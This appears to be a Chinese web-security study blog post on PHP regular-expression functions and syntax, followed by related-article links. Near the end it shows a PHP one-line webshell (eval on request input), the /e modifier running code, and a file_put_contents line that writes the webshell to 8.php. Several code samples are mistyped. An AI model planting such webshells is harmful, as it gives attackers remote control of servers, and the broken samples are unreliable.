后端基础 - 正则表达式

Java后端以及部分前端思维导图 今天分享一下我在Java前后端的学习内容,将我学过的知识汇聚成了思维导图,仅供参考,仅仅只是我个人所掌握的,一定是还有很多的技术,可能是我没有学到,也可能是我忘记写入,总之这份导图只代表我个人所学,请大佬见谅,有哪里不足或者有更好的建议,欢迎各位留言吐槽,有哪里不懂的可以私信我,我会一一作答,话不多说,上图. Java 前端 HTML5 语义化标签 header nav article section aside 阅读详情

一、什么是正则表达式

(核心是查找匹配,就是为了绕过。现在主流的防御手段就是正则,正则匹配到危险的东西 替换或者拦截)

正则表达式,又称规则表达式。(英语:Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。

正则表达式的特点是:

  1. 灵活性、逻辑性和功能性非常强;

  2. 可以迅速地用极简单的方式达到字符串的复杂控制。

  3. 对于刚接触的人来说,比较晦涩难懂。

正则表达式用途:

判断字符串是否符合某一规则(判断是否符合手机号、邮箱规则)。

从一个字符串中找出符合规则的所有子字符串(取HTML标签名)。

二、PHP中正则表达式常用函数

PHP中使用正则规则一定要加代表正则的标识/ /

preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)

返回匹配到的次数

preg_replace (正则表达式、替换成什么、匹配字符串)

返回替换后的结果

替换支持数组格式

<? Php
Var_dump(preg_match_all(‘/abc/’,’abcdswdd’));
?>
​
<? Php
Var_dump(preg_replace (‘/abc/’,’zkaq’,’abc666’));
?>
批量替换需要用数组:
<? Php
$a= array(‘abc’,’aabc’,’ccabc’);
Var_dump(preg_replace (‘/abc/’,’zkaq’,$a));
?>

三、正则表达式语法

常用转义字符:

数字:\d 非数字:\D 空白字符(空格、制表符、换页符等):\s 非空白字符:\S 单词字符(26个英文字母+数字+下划线_):\w 非单词字符:\W

<? Php
Var_dump(preg_replace (‘/\d/’,’zkaq’,’123123’));
?>
123123里所有的数字替换成zkaq
​
<? Php
Var_dump(preg_replace (‘/\s/’,’zkaq’,’123 123’));
?>
123 123所有空白字符都会被替换成zkaq
 自定义字符结合
字符集合:[单个字符或字符区间],用于匹配集合内字符如:
•  [a-z]表示a-z这26个小写字母
•  [0-9a-z]表示0-9这10个数字和a-z26个小写字母   只能到9了,成十上百的不能用函数,可以单个用,
•  [135a-h]表示包含数字1,3,5和字母a-h这8个字母
•  注意:两个不同字符段间请勿使用,隔开。
非集:[^单个字符或字符区间],用于匹配非集合内字符。如:
•  [^0-9]表示匹配所有非数字字符。
•  [^a-zA-Z]表示匹配所以非字母字符。
<? php
Var_dump(preg_replace (‘/[1-4]/’,’zkaq’,’123 123’));
?>
只有1到4之外的数字才能被替换
Var_dump(preg_replace (‘/154a-c/’,’zkaq’,’154,45,jhh’));
就能排除上百的了
**关键字**:
•  ()    => 和数学一样,代表这是一个整体。
•  ^    =>  匹配输入字符串的开始位置
•  $    => 匹配输入字符串的结尾位置
•  .     => 通配符[代表任意字符]
•  *    => 匹配0次或者多次
•  +     => 匹配1次或者多次
•  \    => 转义字符
•  |     =>  两项之间的一个选择。
Var_dump(preg_replace (‘/^3b$/’,’zkaq’,’3ddgb’));
**3开头b结尾以内的才会被匹配,3不开头不行,d不结尾不行**
Var_dump(preg_match_all (‘/a+/’,’zkaq’,’asddaaasda’))
**返回三次,a,aaa,a三次**
Var_dump(preg_match_all (‘/[a-c]|[0-5]’,’123b’,);
**返回四次**
**限定符 + 修饰符:**
•    限定符:
•    {n}   => 例如: 0{8}   意思是指 只有连起来8个0才会被匹配  
•    {n,}  =>例如: 0{2,}  意思是 只要有2个0及其以上的就会被匹配
•    {n,m}  => 例如: 0{2,4} 意思是最少匹配2个0,最多匹配4个0
•    注:被匹配时,默认匹配最多的次数
Var_dump(preg_match_all (‘/0{2}/’,’12005a’);
只有连在一起的两个0才能被匹配,如果有6个0在一起,会被匹配3次
Var_dump(preg_match_all (‘/0{2,}/’,’12005a’); 
2个0以上在一起的算一次
    修饰符:
•     /i  => 不区分大小写
•    /A  => 匹配规则必须从头开始匹配
•    /s   => .将匹配一切字符
•    /x   => 正则表达式中的空白字符会被忽略
•    /e   => 代码执行 仅限preg_replace()   => 可以写一句话但是不能连接菜刀
•    file_put_contents 函数 [把字符串写入文件] 
•    file_put_contents(写入文件的地址,写入的文件的内容)
Var_dump(preg_match_all (‘/abc/A’,’abc4’));
Var_dump(preg_match_all (‘/a bc/Ai’,’abc4’));
进阶:关于/e
一句话木马核心是任意代码上传
<?php
Eval($_REQUEST[‘a’]);      $_REQUEST是个数组  [‘a’]是指的是选中数组里a的键值
很多时候不只是eval,换成assert也能执行
echo preg_replace(‘/a/e’,’phpinfo()’,’abc’);可直接执行,但不能连接菜刀
解决办法:
Echo File_put_contents(‘8.php’,’<?php eval($_REQUEST[a]) ?>’)
就生成了8.php文件,里面有一句话木马

一起交流网安吧:safe2082

深入解析SerDes系统中的时钟数据恢复电路(CDR)——基于Cadence的PLL/Bang-Bang/PS-PI架构实现与仿真 本文深入解析SerDes系统中的时钟数据恢复电路(CDR),重点探讨基于Cadence平台的PLL、Bang-Bang和PS-PI三种架构的实现与仿真。通过详细的技术对比和工程实践案例,揭示CDR在高速串行通信中的关键作用,并提供TSMC 28nm工艺下的优化策略与故障排查经验,助力工程师应对10Gbps以上SerDes设计挑战。 阅读详情

相关推荐

达梦DCA2023年10月培训及考试总结

本次培训共分三天,培训内容不单单是DCA的单机安装、实例创建、库表操作等,培训内容是把关系型数据库的理论及DM8的产品结合起来讲,很实用。具体的考试则是需要个人大量的线下练习,考试总体而言都是培训讲过的内容,只要用心听,好好练习,哪怕是没有计算机基础的童鞋也能考过。提示:以下是本篇文章正文内容,下面案例可供参考总体而言,本次考试不是很难,用心准备,考前认真听讲,考后多次练习,基本都能通过。

qinjuao的博客 2320

java后端如何用正则表达式_Java 正则表达式详解

正则表达式一个正则表达式是一个用于文本搜索的文本模式。换句话说,在文本中搜索出现的模式。例如,你可以用正则表达式搜索网页中的邮箱地址或超链接。正则表达式示例下面是一个简单的Java正则表达式的例子,用于在文本中搜索 http://String text ="This is the text to be searched " +"for occurrences of the http:// p...

weixin_35000379的博客 1371

熵编码(五)-CABAC(一) 基础篇

前两篇算术编码文章介绍了算术编码原理和步骤。本篇文章介绍CABAC,基于上下文自适应的二进制算术编码。本文对CABAC的基本原理进行了详细的介绍和分析,下篇文章将会对H264编码中的CABAC熵编码的实际应用进行介绍。

尹佑壮的博客 3881

后端---正则表达式基础简介

正则表达式  正则表达式(Regular Expression)是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为"元字符")。 正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。 正则表达式是繁琐的,但它是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。只要认真阅读本教程,加上应用的时候进行一定的参考,掌握正则表达式不是问题。...

Nagile-zhou博客 1674

某手 v8.x 签名计算方法(二) sig和__NS_sig3

一、目标 今天的目标是 sig和__NS_sig3,咱们抓个包先 二、步骤 sig目测像是MD5 先jadx搜索 sig= ,没有找到结果。 再试试 sig ,晕倒 6k多个结果,突然灵光一闪,这些参数,必然是要加入到 Map中,那么我们搜索 "sig" 应该就是这个 CPU.getClock,Hook之 var signCls = Java.use('com.yxcorp.xxx.util.CPU'); signCls.getClock.implementation = function(a,b,c

fenfei331的博客 2428

玩转Matlab-Simscape(初级)-01-从一个简单模型开始学习之旅

本文从初学者的角度分享的关于Matlab simscape 的基础内容,简单分享了Simscape搭建模型,创建子系统,修改定义参数等内容,为将来深入学习和使用simscape做铺垫。

万金油笑匠的博客 6520

java后端一些常用的正则表达式

1.手机号正则表达式 String regexp="^(((13[0-9]{1})|(15[0-9]{1})|(17[0-9]{1})|(18[0-9]{1}))+\d{8})$" 2.身份证正则表达式 String regexp="^([1-6][1-9]|50)\d{4}(18|19|20)\d{2}((0[1-9])|10|11|12)(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$" 3.准考证号12位纯数字正则表达式 String regexp="^\d{12}$

qq_40974235的博客 887

windows10家庭版输入loadrunner注册码时报“License security violation. Operation isnot allowed”的解决办法

有可能出现2个错误第一个可能是第二个可能是“License security violation. Operation isnot allowed”ok,在此我在百度找了很多方法,大部分的方法都是删除注册表,但我根本就找不到这个注册表,而后又是管理中心找本地用户和组,但我依旧找不到这个玩意,然后可能是windows10家庭版本来就没有这个。再然后又以管理员身份去运行填写,好的,依旧报错,依旧未解决...

qq_30990097的博客 2558

【后端】正则表达式&java正则学习笔记

当然在Java中也可以通过处理字符串的方式达到检索,替换文本字符串的目的,但是有了正则表达式写代码更加简洁,通常两三行代码就可以达到目的,当然这也是建立在熟悉正则表达式的基础之上的。在java中调用正则表达式的类是java.util.regex.Matcher和java.util.regex.Pattern,java.util.regex包是从jdk1.4开始提供的。学习正则表达式就是学习怎样定义一种“模式”的语法,说白了,就是学习各种匹配的规则,例如匹配数字要怎么写,匹配字符要怎么写等等。

qq_26127905的博客 1476

【FPGA教程案例96】控制案例1——基于FPGA的自适应PID控制器verilog实现

首先,我们复习下课程传统的PID控制器,往往存在调整速度较慢,超调过大等缺点。为了解决这个问题,在实际的PID应用中,需要实时的调整PID的控制参数,以达到加快PID控制速度,降低超调等目标。目前,自适应PID控制器,一般有误差反馈调整,模糊控制器调整,神经网络调整。其中模糊控制器调整,神经网络调整较为复杂,在入门案例中不做介绍,在本课程中,我们将实现相对略微简单点的基于误差反馈调整的自适应PID控制器。

FPGA/MATLAB学习教程/源码/项目合作开发 6203

hwasan / asan详细分析踩内存之一:Use after free

UAF漏洞全称为use after free ,即利用已经被free掉的堆块被再次利用,该漏洞的存在是因为程序编写者在free堆块部分没有将该堆块的fd指针改为0,进而导致该堆块可以被申请回来,3.内存块被free后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。2.堆块free后,对应指针没有被设置为NULL,即还可以调用会该堆块,当我们申请一个比该堆块小于等于的size时。

1398

Java后端正则表达式使用

正则表达式(Regular Expression)是处理字符串的强大工具,Java提供了强大的正则表达式支持。下面详细介绍Java后端开发中正则表达式的使用方法。

weixin_52578852的博客 1113

2020计算机专业保研夏令营面经:中科院计算所网数机试题目

计算所网络数据科学与技术重点实验室的第一阶段是机试。机试不限程序语言,要求提交源代码。

乔卿的博客 2957

后端基础PHP——正则表达式

1、

weixin_53026460的博客 486

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

二、web安全前后端基础(5)php后端基础——正则表达式

1、php自检 检查sql语句是否正确,echo '执行的sql语句是'.$sql; 在没有回显时,用var_dump()测试回显,有数据返回,则返回object类型,没有数据返回,得到bool型 sql注入万能密码 '' or 1=1 'or 1='1 1'or'1'='1 等 注释符号-- qwe 2、SQL注入 本质:用户输入数据被当做SQL代码执行 漏洞的认证:要求能获取数据或者表库结构或者绕过登录 过滤:属于防止黑客攻击的普遍手段,把用户输入数据进...

weixin_45540609的博客 485

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

网络安全从零开始(后端基础PHP 正则表达式)

一、初识SQL注入 SQL注入是1998年一名叫做rfp的黑客发表的一篇文章所进入大众视线的 什么是注入: 注入攻击的本质,是把用户输入的数据当做代码执行 这里有两个关键条件: 第一个是用户能够控制输入 第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行 什么是SQL注入: 就是针对SQL语句的注入,也可以理解为用户输入的数据当做SQL语句的代码执行了。 二、什么是正则表达式 正则表达式,又称规则表达式。(英语:Regular Expression,在代码中常简写为regex、r

GetorPost的博客 384

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

InkTime 服务器部署指南:systemd 服务 + crontab 定时渲染,一次跑通

InkTime 是一个可自托管的**墨水屏电子相框**:它用 AI 理解你的照片库、按「值得回忆度」打分,每天从「历史上的今天」里挑出最值得被再次看见的照片,推送到 ESP32 墨水屏上展示。要让这套「AI 选片 + 每日渲染 + 硬件显示」的流程稳定跑在服务器上,关键就是两步:用 **systemd 服务**让下载服务器常驻,再用 **crontab 定时渲染**每天自动出片。本文带你从零到「一

gitblog_00066的博客 406

Web安全前后端基础

表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。登录框 搜索框 留言框 上传框……(各种框)—|—正则表达式。

qq_53058639的博客 250

03Web安全后端基础-2

文章目录一、后端基础PHP二、PHP-表单验证 一、后端基础PHP 1、简介及基本函数 php(全称超文本预处理器),是一种在服务器上执行的可免费下载使用的通用开源脚本语言。 php是一种可以面向对象也可以面向过程的脚本语言 使用场景 网站的动态操作,如注册、登录。 网站需要生成静态文件,来确保安全 需要快速看见效果的项目 部分游戏服务端 2、PHP基本语法 具有C语言、java等语言的特点 脚本以<?php开头,以?>结尾 变量声明,美元符开头,如$value 3、网页和服务器的两

原味瓜子、的博客 223

零基础转行前端开发的最佳入门学习路径

初学者学习路线问题 学前端到底好不好? 前景如何? 听说python现在很火?我应不应该去学习一下? 听说某实战课程很好,要不要去买一套? 到底是学前端还是后端? 要不学全栈? … 各种问题困惑着准备入行的朋友,一些想转行的、未毕业的在校大学生由于对于整个行业不是太理解,很容易就会被各种广告、各种机构忽悠去交几万培训,那么如何去避免生活中的种种套路呢? 1、首先你需要先去动手实践,入门了,对这个行...

分享、创造 527

正则表达式小助手

https://regex101.com/

weixin_44942769的博客 476

正则表达式, 表单验证

正则表达式, 表单验证

qq_60839348的博客 511

Java后端必备:Shell编程基础从入门到掌握

Shell编程基础

神马都会亿点点的毛毛张 1240

《后端》黑马JavaSE基础(14)-常见对象-字符串之regex正则表达式类-2020年7月14日

正则表达式 是指一个用来描述或者匹配一系列符合某个语法规则的字符串的单个字符串。其实就是一种规则。有自己特殊的应用。 作用:比如注册邮箱,邮箱有用户名和密码,一般会对其限制长度,这个限制长度的事情就是正则表达式做的。 传统方法和正则方法的比较 public static void main(String[] args) { System.out.println(checkQQ("0222222")); } public static boolean checkQQ(S...

BelleDiao的博客 231

正则表达式讲义

正则 序言 正则本就又长又臭的东西,不要求大家都记住下面表格的内容,最重要是知道正则主要有哪些内容,它能干嘛,怎么做,最最重要的是学会写正则的技巧!怎么写正则,在例子上会详细说。 语法 普通字符 普通字符包括没有显式指定为元字符的所有可打印和不可打印字符。这包括所有大写和小写字母、所有数字、所有标点符号和一些其他符号。 非打印字符 非打印字符也可以是正则表达式的组成部分。下表列出了表...

weixin_37745920的博客 819
上一篇: 后端基础PHP—表单验证
下一篇: 信息收集方向-信息收集究竟收集什么
remarkably
博客等级 码龄3年 126粉丝 10原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值